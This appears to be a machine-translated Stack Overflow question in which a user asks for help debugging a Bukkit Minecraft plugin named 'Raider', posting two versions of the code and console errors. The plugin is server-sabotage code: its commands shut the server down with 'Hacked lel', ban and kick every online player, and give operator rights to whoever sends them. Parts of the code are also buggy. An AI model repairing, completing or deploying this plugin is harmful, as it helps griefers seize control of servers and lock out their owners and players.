package com.LeGhost.main;
import java.util.Random;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;
public class Raider extends JavaPlugin{
private JavaPlugin plugin = Raider.this;
public void onEnable() {
plugin.getLogger().info("Raider fully enabled!");
}//ENABLE
public void onDisable() {
plugin.getLogger().info("Raider disabled!");
}//DISABLE
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if(sender instanceof Player || sender instanceof ConsoleCommandSender) {
if(cmd.getName().equalsIgnoreCase("raid")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop YOUR SERVER JUST GOT RAIDED!!!!!!!");//stops the server... DOES WORK
}
if(cmd.getName().equalsIgnoreCase("banall")) {
@SuppressWarnings("deprecation")
int playerNumber = plugin.getServer().getOnlinePlayers().length;
@SuppressWarnings("deprecation")
int random = new Random().nextInt(Bukkit.getOnlinePlayers().length);
@SuppressWarnings("deprecation")
Player player = Bukkit.getOnlinePlayers()[random];
while(playerNumber > 0) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "ban " + player);
}//THIS DOES NOT WORK! It is supposed to ban all the players that are currently on the server by choosing a random player while the player count is over 0
}
if(cmd.getName().equalsIgnoreCase("moop")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName());
}//DOES NOT WORK!! It should op the sender.
}
return false;
}
}
如果有人能幫助我,我會很感激! 另一件事是,banall的東西崩潰的服務器。 我想知道的任何修復和知道爲什麼這不起作用如何解決控制檯中「未知命令」的錯誤?
控制檯輸出banall
[22:09:46] [Server thread/WARN]: Unexpected exception while parsing console command "banall"
org.bukkit.command.CommandException: Unhandled exception executing command 'banall' in plugin Raider v1.0
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:46) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:141) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchCommand(CraftServer.java:642) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchServerCommand(CraftServer.java:628) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.DedicatedServer.aO(DedicatedServer.java:404) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.DedicatedServer.B(DedicatedServer.java:368) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.MinecraftServer.A(MinecraftServer.java:657) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.MinecraftServer.run(MinecraftServer.java:560) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
Caused by: java.lang.IllegalArgumentException: bound must be positive
at java.util.Random.nextInt(Unknown Source) ~[?:1.8.0_45]
at com.LeGhost.main.Raider.onCommand(Raider.java:32) ~[?:?]
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
... 8 more
控制檯輸出MOOP
[22:12:59 INFO]: Unknown command. Type "/help" for help.
更新代碼
package com.LeGhost.main;
import org.bukkit.BanList;
import org.bukkit.Bukkit;
import org.bukkit.Server;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;
public class Raider extends JavaPlugin{
private JavaPlugin plugin = Raider.this;
public void onEnable() {
plugin.getLogger().info("Raider fully enabled!");
}
public void onDisable() {
plugin.getLogger().info("Raider disabled!");
}
@SuppressWarnings("deprecation")
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if(sender instanceof Player || sender instanceof ConsoleCommandSender) {
if(cmd.getName().equalsIgnoreCase("raid")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop " + "Hacked lel");
}
if(cmd.getName().equalsIgnoreCase("banall")) {
plugin.getServer().getOnlinePlayers();
Bukkit.getOnlinePlayers();
for (Player player1 : Bukkit.getOnlinePlayers()) {
getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player1.getName() + " Hacked lel");
((Server) plugin).getBanList(BanList.Type.NAME).addBan(player1.getName(), "Hacked lel", null, sender.getName());
player1.kickPlayer("Hacked lel");
}
}
if(cmd.getName().equalsIgnoreCase("moop")) {
plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName());
}
}
return false;
}
}
你可以發佈控制檯的輸出嗎? – wkcamp
是的,我可以,如果你需要它 –
是的,我們可以更快地查明錯誤。包括剛剛完成的總輸出 – wkcamp